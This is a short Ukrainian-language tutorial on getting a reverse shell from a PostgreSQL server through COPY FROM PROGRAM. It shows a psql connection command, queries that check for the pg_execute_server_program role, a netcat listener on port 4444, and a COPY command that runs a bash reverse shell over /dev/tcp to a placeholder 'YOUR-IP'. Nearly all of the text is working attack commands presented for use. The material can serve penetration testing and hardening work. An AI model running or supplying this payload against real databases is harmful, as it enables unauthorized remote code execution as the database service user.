Для цього вам потрібен користувач із правами pg_execute_server_program.
І так, підключаємось до бази:
psql -h hostname/ip -p 6543 -U username -d database
Перевірямо наявність у поточного користувача потрібних прав або наявність таких користувачів у базі:
SELECT rolname
FROM pg_roles
WHERE pg_has_role(rolname, 'pg_execute_server_program', 'member');
або
SELECT has_role(current_user, 'pg_execute_server_program', 'member');
Якщо ваш користувач присутній у списку - можна переходити до наступного етапу.
Піднімаємо listener (слухача) на хості, що знаходиться в тій самій мережі, що і база даних, або на іншому, якщо дозволяє мережеве оточення:
nc -lvnp 4444
Далі запускаємо команду у PostgreSQL:
COPY poc_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"';
Якщо налаштування прав користувачів у PostgreSQL не обмежують використання COPY FROM PROGRAM або загалом права занадто широкі - ви отримаєте reverse shell від імені того користувача, під яким працює служба PostgreSQL.